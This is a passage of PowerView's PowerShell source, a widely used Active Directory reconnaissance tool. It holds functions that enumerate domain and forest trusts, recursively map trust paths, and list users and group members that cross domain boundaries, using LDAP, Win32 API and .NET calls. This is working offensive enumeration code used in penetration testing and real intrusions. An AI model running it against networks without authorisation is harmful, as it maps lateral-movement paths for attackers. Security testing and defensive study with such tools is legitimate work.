19187 [uint32]'0x00000001' = 'non_transitive'
19188 [uint32]'0x00000002' = 'uplevel_only'
19189 [uint32]'0x00000004' = 'quarantined_domain'
19190 [uint32]'0x00000008' = 'forest_transitive'
19191 [uint32]'0x00000010' = 'cross_organization'
19192 [uint32]'0x00000020' = 'within_forest'
19193 [uint32]'0x00000040' = 'treat_as_external'
19194 [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
19195 [uint32]'0x00000100' = 'trust_uses_aes_keys'
19196 [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
19197 [uint32]'0x00000400' = 'pim_trust'
19198 }
19199
19200 $LdapSearcherArguments = @{}
19201 if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
19202 if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
19203 if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
19204 if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
19205 if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
19206 if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
19207 if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
19208 if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
19209 if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
19210 }
19211
19212 PROCESS {
19213 if ($PsCmdlet.ParameterSetName -ne 'API') {
19214 $NetSearcherArguments = @{}
19215 if ($Domain -and $Domain.Trim() -ne '') {
19216 $SourceDomain = $Domain
19217 }
19218 else {
19219 if ($PSBoundParameters['Credential']) {
19220 $SourceDomain = (Get-Domain -Credential $Credential).Name
19221 }
19222 else {
19223 $SourceDomain = (Get-Domain).Name
19224 }
19225 }
19226
19227 $NetSearcherArguments['Domain'] = $SourceDomain
19228 if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential }
19229 }
19230 else {
19231 if ($Domain -and $Domain.Trim() -ne '') {
19232 $SourceDomain = $Domain
19233 }
19234 else {
19235 $SourceDomain = $Env:USERDNSDOMAIN
19236 }
19237 }
19238
19239 if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
19240 # if we're searching for domain trusts through LDAP/ADSI
19241 $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
19242 $SourceSID = Get-DomainSID @NetSearcherArguments
19243
19244 if ($TrustSearcher) {
19245
19246 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
19247
19248 if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
19249 else { $Results = $TrustSearcher.FindAll() }
19250 $Results | Where-Object {$_} | ForEach-Object {
19251 $Props = $_.Properties
19252 $DomainTrust = New-Object PSObject
19253
19254 $TrustAttrib = @()
19255 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
19256
19257 $Direction = Switch ($Props.trustdirection) {
19258 0 { 'Disabled' }
19259 1 { 'Inbound' }
19260 2 { 'Outbound' }
19261 3 { 'Bidirectional' }
19262 }
19263
19264 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
19265 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
19266
19267 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
19268 $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
19269 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
19270 $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
19271 $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
19272 $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
19273 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
19274 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
19275 $DomainTrust
19276 }
19277 if ($Results) {
19278 try { $Results.dispose() }
19279 catch {
19280 Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
19281 }
19282 }
19283 $TrustSearcher.dispose()
19284 }
19285 }
19286 elseif ($PsCmdlet.ParameterSetName -eq 'API') {
19287 # if we're searching for domain trusts through Win32 API functions
19288 if ($PSBoundParameters['Server']) {
19289 $TargetDC = $Server
19290 }
19291 elseif ($Domain -and $Domain.Trim() -ne '') {
19292 $TargetDC = $Domain
19293 }
19294 else {
19295 # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
19296 $TargetDC = $Null
19297 }
19298
19299 # arguments for DsEnumerateDomainTrusts
19300 $PtrInfo = [IntPtr]::Zero
19301
19302 # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
19303 $Flags = 63
19304 $DomainCount = 0
19305
19306 # get the trust information from the target server
19307 $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
19308
19309 # Locate the offset of the initial intPtr
19310 $Offset = $PtrInfo.ToInt64()
19311
19312 # 0 = success
19313 if (($Result -eq 0) -and ($Offset -gt 0)) {
19314
19315 # Work out how much to increment the pointer by finding out the size of the structure
19316 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
19317
19318 # parse all the result structures
19319 for ($i = 0; ($i -lt $DomainCount); $i++) {
19320 # create a new int ptr at the given offset and cast the pointer as our result structure
19321 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
19322 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
19323
19324 $Offset = $NewIntPtr.ToInt64()
19325 $Offset += $Increment
19326
19327 $SidString = ''
19328 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
19329
19330 if ($Result -eq 0) {
19331 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
19332 }
19333 else {
19334 $DomainTrust = New-Object PSObject
19335 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
19336 $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
19337 $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
19338 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
19339 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
19340 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
19341 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
19342 $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
19343 $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
19344 $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
19345 $DomainTrust
19346 }
19347 }
19348 # free up the result buffer
19349 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
19350 }
19351 else {
19352 Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
19353 }
19354 }
19355 else {
19356 # if we're searching for domain trusts through .NET methods
19357 $FoundDomain = Get-Domain @NetSearcherArguments
19358 if ($FoundDomain) {
19359 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
19360 $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
19361 $_
19362 }
19363 }
19364 }
19365 }
19366}
19367
19368
19369function Get-ForestTrust {
19370<#
19371.SYNOPSIS
19372
19373Return all forest trusts for the current forest or a specified forest.
19374
19375Author: Will Schroeder (@harmj0y)
19376License: BSD 3-Clause
19377Required Dependencies: Get-Forest
19378
19379.DESCRIPTION
19380
19381This function will enumerate domain trust relationships for the current (or a remote)
19382forest using number of method using the .NET method GetAllTrustRelationships() on a
19383System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
19384
19385.PARAMETER Forest
19386
19387Specifies the forest to query for trusts, defaults to the current forest.
19388
19389.PARAMETER Credential
19390
19391A [Management.Automation.PSCredential] object of alternate credentials
19392for connection to the target domain.
19393
19394.EXAMPLE
19395
19396Get-ForestTrust
19397
19398Return current forest trusts.
19399
19400.EXAMPLE
19401
19402Get-ForestTrust -Forest "external.local"
19403
19404Return trusts for the "external.local" forest.
19405
19406.EXAMPLE
19407
19408$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
19409$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
19410Get-ForestTrust -Forest "external.local" -Credential $Cred
19411
19412Return trusts for the "external.local" forest using the specified alternate credenitals.
19413
19414.OUTPUTS
19415
19416PowerView.DomainTrust.NET
19417
19418A TrustRelationshipInformationCollection returned when using .NET methods (default).
19419#>
19420
19421 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
19422 [OutputType('PowerView.ForestTrust.NET')]
19423 [CmdletBinding()]
19424 Param(
19425 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
19426 [Alias('Name')]
19427 [ValidateNotNullOrEmpty()]
19428 [String]
19429 $Forest,
19430
19431 [Management.Automation.PSCredential]
19432 [Management.Automation.CredentialAttribute()]
19433 $Credential = [Management.Automation.PSCredential]::Empty
19434 )
19435
19436 PROCESS {
19437 $NetForestArguments = @{}
19438 if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
19439 if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
19440
19441 $FoundForest = Get-Forest @NetForestArguments
19442
19443 if ($FoundForest) {
19444 $FoundForest.GetAllTrustRelationships() | ForEach-Object {
19445 $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
19446 $_
19447 }
19448 }
19449 }
19450}
19451
19452
19453function Get-DomainForeignUser {
19454<#
19455.SYNOPSIS
19456
19457Enumerates users who are in groups outside of the user's domain.
19458This is a domain's "outgoing" access.
19459
19460Author: Will Schroeder (@harmj0y)
19461License: BSD 3-Clause
19462Required Dependencies: Get-Domain, Get-DomainUser
19463
19464.DESCRIPTION
19465
19466Uses Get-DomainUser to enumerate all users for the current (or target) domain,
19467then calculates the given user's domain name based on the user's distinguishedName.
19468This domain name is compared to the queried domain, and the user object is
19469output if they differ.
19470
19471.PARAMETER Domain
19472
19473Specifies the domain to use for the query, defaults to the current domain.
19474
19475.PARAMETER LDAPFilter
19476
19477Specifies an LDAP query string that is used to filter Active Directory objects.
19478
19479.PARAMETER Properties
19480
19481Specifies the properties of the output object to retrieve from the server.
19482
19483.PARAMETER SearchBase
19484
19485The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
19486Useful for OU queries.
19487
19488.PARAMETER Server
19489
19490Specifies an Active Directory server (domain controller) to bind to.
19491
19492.PARAMETER SearchScope
19493
19494Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
19495
19496.PARAMETER ResultPageSize
19497
19498Specifies the PageSize to set for the LDAP searcher object.
19499
19500.PARAMETER ServerTimeLimit
19501
19502Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
19503
19504.PARAMETER SecurityMasks
19505
19506Specifies an option for examining security information of a directory object.
19507One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
19508
19509.PARAMETER Tombstone
19510
19511Switch. Specifies that the searcher should also return deleted/tombstoned objects.
19512
19513.PARAMETER Credential
19514
19515A [Management.Automation.PSCredential] object of alternate credentials
19516for connection to the target domain.
19517
19518.EXAMPLE
19519
19520Get-DomainForeignUser
19521
19522Return all users in the current domain who are in groups not in the
19523current domain.
19524
19525.EXAMPLE
19526
19527Get-DomainForeignUser -Domain dev.testlab.local
19528
19529Return all users in the dev.testlab.local domain who are in groups not in the
19530dev.testlab.local domain.
19531
19532.EXAMPLE
19533
19534$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
19535$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
19536Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
19537
19538Return all users in the dev.testlab.local domain who are in groups not in the
19539dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
19540using the specified alternate credentials.
19541
19542.OUTPUTS
19543
19544PowerView.ForeignUser
19545
19546Custom PSObject with translated user property fields.
19547#>
19548
19549 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
19550 [OutputType('PowerView.ForeignUser')]
19551 [CmdletBinding()]
19552 Param(
19553 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
19554 [Alias('Name')]
19555 [ValidateNotNullOrEmpty()]
19556 [String]
19557 $Domain,
19558
19559 [ValidateNotNullOrEmpty()]
19560 [Alias('Filter')]
19561 [String]
19562 $LDAPFilter,
19563
19564 [ValidateNotNullOrEmpty()]
19565 [String[]]
19566 $Properties,
19567
19568 [ValidateNotNullOrEmpty()]
19569 [Alias('ADSPath')]
19570 [String]
19571 $SearchBase,
19572
19573 [ValidateNotNullOrEmpty()]
19574 [Alias('DomainController')]
19575 [String]
19576 $Server,
19577
19578 [ValidateSet('Base', 'OneLevel', 'Subtree')]
19579 [String]
19580 $SearchScope = 'Subtree',
19581
19582 [ValidateRange(1, 10000)]
19583 [Int]
19584 $ResultPageSize = 200,
19585
19586 [ValidateRange(1, 10000)]
19587 [Int]
19588 $ServerTimeLimit,
19589
19590 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
19591 [String]
19592 $SecurityMasks,
19593
19594 [Switch]
19595 $Tombstone,
19596
19597 [Management.Automation.PSCredential]
19598 [Management.Automation.CredentialAttribute()]
19599 $Credential = [Management.Automation.PSCredential]::Empty
19600 )
19601
19602 BEGIN {
19603 $SearcherArguments = @{}
19604 $SearcherArguments['LDAPFilter'] = '(memberof=*)'
19605 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
19606 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
19607 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
19608 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
19609 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
19610 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
19611 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
19612 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
19613 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
19614 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
19615 }
19616
19617 PROCESS {
19618 if ($PSBoundParameters['Domain']) {
19619 $SearcherArguments['Domain'] = $Domain
19620 $TargetDomain = $Domain
19621 }
19622 elseif ($PSBoundParameters['Credential']) {
19623 $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
19624 }
19625 elseif ($Env:USERDNSDOMAIN) {
19626 $TargetDomain = $Env:USERDNSDOMAIN
19627 }
19628 else {
19629 throw "[Get-DomainForeignUser] No domain found to enumerate!"
19630 }
19631
19632 Get-DomainUser @SearcherArguments | ForEach-Object {
19633 ForEach ($Membership in $_.memberof) {
19634 $Index = $Membership.IndexOf('DC=')
19635 if ($Index) {
19636
19637 $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
19638
19639 if ($GroupDomain -ne $TargetDomain) {
19640 # if the group domain doesn't match the user domain, display it
19641 $GroupName = $Membership.Split(',')[0].split('=')[1]
19642 $ForeignUser = New-Object PSObject
19643 $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain
19644 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
19645 $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
19646 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
19647 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
19648 $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
19649 $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
19650 $ForeignUser
19651 }
19652 }
19653 }
19654 }
19655 }
19656}
19657
19658
19659function Get-DomainForeignGroupMember {
19660<#
19661.SYNOPSIS
19662
19663Enumerates groups with users outside of the group's domain and returns
19664each foreign member. This is a domain's "incoming" access.
19665
19666Author: Will Schroeder (@harmj0y)
19667License: BSD 3-Clause
19668Required Dependencies: Get-Domain, Get-DomainGroup
19669
19670.DESCRIPTION
19671
19672Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
19673then enumerates the members of each group, and compares the member's domain
19674name to the parent group's domain name, outputting the member if the domains differ.
19675
19676.PARAMETER Domain
19677
19678Specifies the domain to use for the query, defaults to the current domain.
19679
19680.PARAMETER LDAPFilter
19681
19682Specifies an LDAP query string that is used to filter Active Directory objects.
19683
19684.PARAMETER Properties
19685
19686Specifies the properties of the output object to retrieve from the server.
19687
19688.PARAMETER SearchBase
19689
19690The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
19691Useful for OU queries.
19692
19693.PARAMETER Server
19694
19695Specifies an Active Directory server (domain controller) to bind to.
19696
19697.PARAMETER SearchScope
19698
19699Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
19700
19701.PARAMETER ResultPageSize
19702
19703Specifies the PageSize to set for the LDAP searcher object.
19704
19705.PARAMETER ServerTimeLimit
19706
19707Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
19708
19709.PARAMETER SecurityMasks
19710
19711Specifies an option for examining security information of a directory object.
19712One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
19713
19714.PARAMETER Tombstone
19715
19716Switch. Specifies that the searcher should also return deleted/tombstoned objects.
19717
19718.PARAMETER Credential
19719
19720A [Management.Automation.PSCredential] object of alternate credentials
19721for connection to the target domain.
19722
19723.EXAMPLE
19724
19725Get-DomainForeignGroupMember
19726
19727Return all group members in the current domain where the group and member differ.
19728
19729.EXAMPLE
19730
19731Get-DomainForeignGroupMember -Domain dev.testlab.local
19732
19733Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
19734
19735.EXAMPLE
19736
19737$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
19738$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
19739Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
19740
19741Return all group members in the dev.testlab.local domain where the member is
19742not in dev.testlab.local. binding to the secondary.dev.testlab.local for
19743queries, and using the specified alternate credentials.
19744
19745.OUTPUTS
19746
19747PowerView.ForeignGroupMember
19748
19749Custom PSObject with translated group member property fields.
19750#>
19751
19752 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
19753 [OutputType('PowerView.ForeignGroupMember')]
19754 [CmdletBinding()]
19755 Param(
19756 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
19757 [Alias('Name')]
19758 [ValidateNotNullOrEmpty()]
19759 [String]
19760 $Domain,
19761
19762 [ValidateNotNullOrEmpty()]
19763 [Alias('Filter')]
19764 [String]
19765 $LDAPFilter,
19766
19767 [ValidateNotNullOrEmpty()]
19768 [String[]]
19769 $Properties,
19770
19771 [ValidateNotNullOrEmpty()]
19772 [Alias('ADSPath')]
19773 [String]
19774 $SearchBase,
19775
19776 [ValidateNotNullOrEmpty()]
19777 [Alias('DomainController')]
19778 [String]
19779 $Server,
19780
19781 [ValidateSet('Base', 'OneLevel', 'Subtree')]
19782 [String]
19783 $SearchScope = 'Subtree',
19784
19785 [ValidateRange(1, 10000)]
19786 [Int]
19787 $ResultPageSize = 200,
19788
19789 [ValidateRange(1, 10000)]
19790 [Int]
19791 $ServerTimeLimit,
19792
19793 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
19794 [String]
19795 $SecurityMasks,
19796
19797 [Switch]
19798 $Tombstone,
19799
19800 [Management.Automation.PSCredential]
19801 [Management.Automation.CredentialAttribute()]
19802 $Credential = [Management.Automation.PSCredential]::Empty
19803 )
19804
19805 BEGIN {
19806 $SearcherArguments = @{}
19807 $SearcherArguments['LDAPFilter'] = '(member=*)'
19808 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
19809 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
19810 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
19811 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
19812 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
19813 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
19814 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
19815 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
19816 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
19817 if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
19818 }
19819
19820 PROCESS {
19821 if ($PSBoundParameters['Domain']) {
19822 $SearcherArguments['Domain'] = $Domain
19823 $TargetDomain = $Domain
19824 }
19825 elseif ($PSBoundParameters['Credential']) {
19826 $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
19827 }
19828 elseif ($Env:USERDNSDOMAIN) {
19829 $TargetDomain = $Env:USERDNSDOMAIN
19830 }
19831 else {
19832 throw "[Get-DomainForeignGroupMember] No domain found to enumerate!"
19833 }
19834
19835 # standard group names to ignore
19836 $ExcludeGroups = @('Users', 'Domain Users', 'Guests')
19837 $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))"
19838
19839 Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object {
19840 $GroupName = $_.samAccountName
19841 $GroupDistinguishedName = $_.distinguishedname
19842
19843 $_.member | ForEach-Object {
19844 # filter for foreign SIDs in the cn field for users in another domain,
19845 # or if the DN doesn't end with the proper DN for the queried domain
19846 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) {
19847
19848 $MemberDistinguishedName = $_
19849 $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
19850 $MemberName = $_.Split(',')[0].split('=')[1]
19851
19852 $ForeignGroupMember = New-Object PSObject
19853 $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
19854 $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
19855 $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
19856 $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
19857 $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
19858 $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
19859 $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
19860 $ForeignGroupMember
19861 }
19862 }
19863 }
19864 }
19865}
19866
19867
19868function Get-DomainTrustMapping {
19869<#
19870.SYNOPSIS
19871
19872This function enumerates all trusts for the current domain and then enumerates
19873all trusts for each domain it finds.
19874
19875Author: Will Schroeder (@harmj0y)
19876License: BSD 3-Clause
19877Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
19878
19879.DESCRIPTION
19880
19881This function will enumerate domain trust relationships for the current domain using
19882a number of methods, and then enumerates all trusts for each found domain, recursively
19883mapping all reachable trust relationships. By default, the .NET method GetAllTrustRelationships()
19884is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag
19885is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter
19886'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the
19887Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead.
19888
19889.PARAMETER API
19890
19891Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
19892.NET methods.
19893
19894.PARAMETER LDAP
19895
19896Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
19897
19898.PARAMETER LDAPFilter
19899
19900Specifies an LDAP query string that is used to filter Active Directory objects.
19901
19902.PARAMETER Properties
19903
19904Specifies the properties of the output object to retrieve from the server.
19905
19906.PARAMETER SearchBase
19907
19908The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
19909Useful for OU queries.
19910
19911.PARAMETER Server
19912
19913Specifies an Active Directory server (domain controller) to bind to.
19914
19915.PARAMETER SearchScope
19916
19917Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
19918
19919.PARAMETER ResultPageSize
19920
19921Specifies the PageSize to set for the LDAP searcher object.
19922
19923.PARAMETER ServerTimeLimit
19924
19925Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
19926
19927.PARAMETER Tombstone
19928
19929Switch. Specifies that the searcher should also return deleted/tombstoned objects.
19930
19931.PARAMETER Credential
19932
19933A [Management.Automation.PSCredential] object of alternate credentials
19934for connection to the target domain.
19935
19936.EXAMPLE
19937
19938Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
19939
19940Map all reachable domain trusts using .NET methods and output everything to a .csv file.
19941
19942.EXAMPLE
19943
19944Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
19945
19946Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
19947
19948.EXAMPLE
19949
19950Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
19951
19952Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries,
19953and output everything to a .csv file.
19954
19955.EXAMPLE
19956
19957$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
19958$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
19959Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
19960
19961Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
19962using the specified alternate credentials, and output everything to a .csv file.
19963
19964.OUTPUTS
19965
19966PowerView.DomainTrust.NET
19967
19968A TrustRelationshipInformationCollection returned when using .NET methods (default).
19969
19970PowerView.DomainTrust.LDAP
19971
19972Custom PSObject with translated domain LDAP trust result fields.
19973
19974PowerView.DomainTrust.API
19975
19976Custom PSObject with translated domain API trust result fields.
19977#>
19978
19979 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
19980 [OutputType('PowerView.DomainTrust.NET')]
19981 [OutputType('PowerView.DomainTrust.LDAP')]
19982 [OutputType('PowerView.DomainTrust.API')]
19983 [CmdletBinding(DefaultParameterSetName = 'NET')]
19984 Param(
19985 [Parameter(ParameterSetName = 'API')]
19986 [Switch]
19987 $API,
19988
19989 [Parameter(ParameterSetName = 'LDAP')]
19990 [Switch]
19991 $LDAP,
19992
19993 [Parameter(ParameterSetName = 'LDAP')]
19994 [ValidateNotNullOrEmpty()]
19995 [Alias('Filter')]
19996 [String]
19997 $LDAPFilter,
19998
19999 [Parameter(ParameterSetName = 'LDAP')]
20000 [ValidateNotNullOrEmpty()]
20001 [String[]]
20002 $Properties,
20003
20004 [Parameter(ParameterSetName = 'LDAP')]
20005 [ValidateNotNullOrEmpty()]
20006 [Alias('ADSPath')]
20007 [String]
20008 $SearchBase,
20009
20010 [Parameter(ParameterSetName = 'LDAP')]
20011 [Parameter(ParameterSetName = 'API')]
20012 [ValidateNotNullOrEmpty()]
20013 [Alias('DomainController')]
20014 [String]
20015 $Server,
20016
20017 [Parameter(ParameterSetName = 'LDAP')]
20018 [ValidateSet('Base', 'OneLevel', 'Subtree')]
20019 [String]
20020 $SearchScope = 'Subtree',
20021
20022 [Parameter(ParameterSetName = 'LDAP')]
20023 [ValidateRange(1, 10000)]
20024 [Int]
20025 $ResultPageSize = 200,
20026
20027 [Parameter(ParameterSetName = 'LDAP')]
20028 [ValidateRange(1, 10000)]
20029 [Int]
20030 $ServerTimeLimit,
20031
20032 [Parameter(ParameterSetName = 'LDAP')]
20033 [Switch]
20034 $Tombstone,
20035
20036 [Parameter(ParameterSetName = 'LDAP')]
20037 [Management.Automation.PSCredential]
20038 [Management.Automation.CredentialAttribute()]
20039 $Credential = [Management.Automation.PSCredential]::Empty
20040 )
20041
20042 # keep track of domains seen so we don't hit infinite recursion
20043 $SeenDomains = @{}
20044
20045 # our domain status tracker
20046 $Domains = New-Object System.Collections.Stack
20047
20048 $DomainTrustArguments = @{}
20049 if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
20050 if ($PSBoundParameters['LDAP']) { $DomainTrustArguments['LDAP'] = $LDAP }
